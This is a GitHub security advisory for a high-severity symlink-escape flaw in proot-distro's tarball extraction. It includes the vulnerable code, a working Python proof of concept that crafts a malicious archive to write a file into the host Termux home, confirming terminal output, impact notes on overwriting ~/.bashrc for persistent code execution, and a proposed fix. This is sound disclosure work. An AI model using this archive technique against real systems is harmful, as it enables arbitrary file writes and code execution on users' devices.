Skip to content

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

High severity GitHub Reviewed Published Jun 8, 2026 in termux/proot-distro • Updated Jul 29, 2026

Package

pip proot-distro (pip)

Affected versions

<= 5.1.4

Patched versions

5.1.5

Description

Repository: termux/proot-distro
Component: proot_distro/commands/install.py_extract_plain_tar(); also helpers/docker.py_apply_layer()


Affected Versions

Component Version
proot-distro 5.0.2 (confirmed vulnerable)
Termux app 0.119.0-beta.3
Device / ABI Samsung Galaxy A23 / aarch64
Python (host) 3.13

Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path
    (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written directly into the host Termux $HOME during installation,
with no container login required.


Impact

  • Arbitrary host file write at the full privilege of the Termux process, triggered solely
    by proot-distro install — no container interaction required.
  • A malicious .tar.gz / .tar.xz / .tgz archive delivered via a file download, CI
    artifact, or compromised mirror is sufficient to exploit this.
  • Practical payloads include overwriting ~/.bashrc, ~/.profile,
    $PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent
    code execution
    the next time the user opens a shell.
  • Also reachable via proot-distro reset if the malicious archive is reused, and via
    _apply_layer in helpers/docker.py.

Root Cause

_extract_plain_tar validates member names against .. traversal but places no
restriction on symlink targets. The two vectors are treated asymmetrically:

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not
sufficient: a symlink with an absolute target bypasses it entirely.


Proposed Fix

Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir.
Apply in both _extract_plain_tar and _apply_layer:

def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
    """Return True only if the symlink target resolves inside rootfs_dir."""
    if os.path.isabs(linkname):
        return False  # absolute targets always escape on the host
    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
    real_root = os.path.realpath(rootfs_dir)
    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
                     else os.path.normpath(resolved))
    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root

Then in _extract_plain_tar:

elif member.issym():
    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
        continue  # drop unsafe symlink
    if os.path.lexists(dest):
        ...
    os.symlink(member.linkname, dest)

Apply the identical guard inside _apply_layer in helpers/docker.py.

Note: A stricter alternative — matching Docker's own behavior — is to rewrite
absolute symlink targets to relative paths within the rootfs rather than dropping them,
to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as
/usr/lib → /lib.


Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.

References

@sylirre sylirre published to termux/proot-distro Jun 8, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

EPSS score

Weaknesses

UNIX Symbolic Link (Symlink) Following

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. Learn more on MITRE.

CVE ID

CVE-2026-54574

GHSA ID

GHSA-9xq3-3fqg-4vg7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.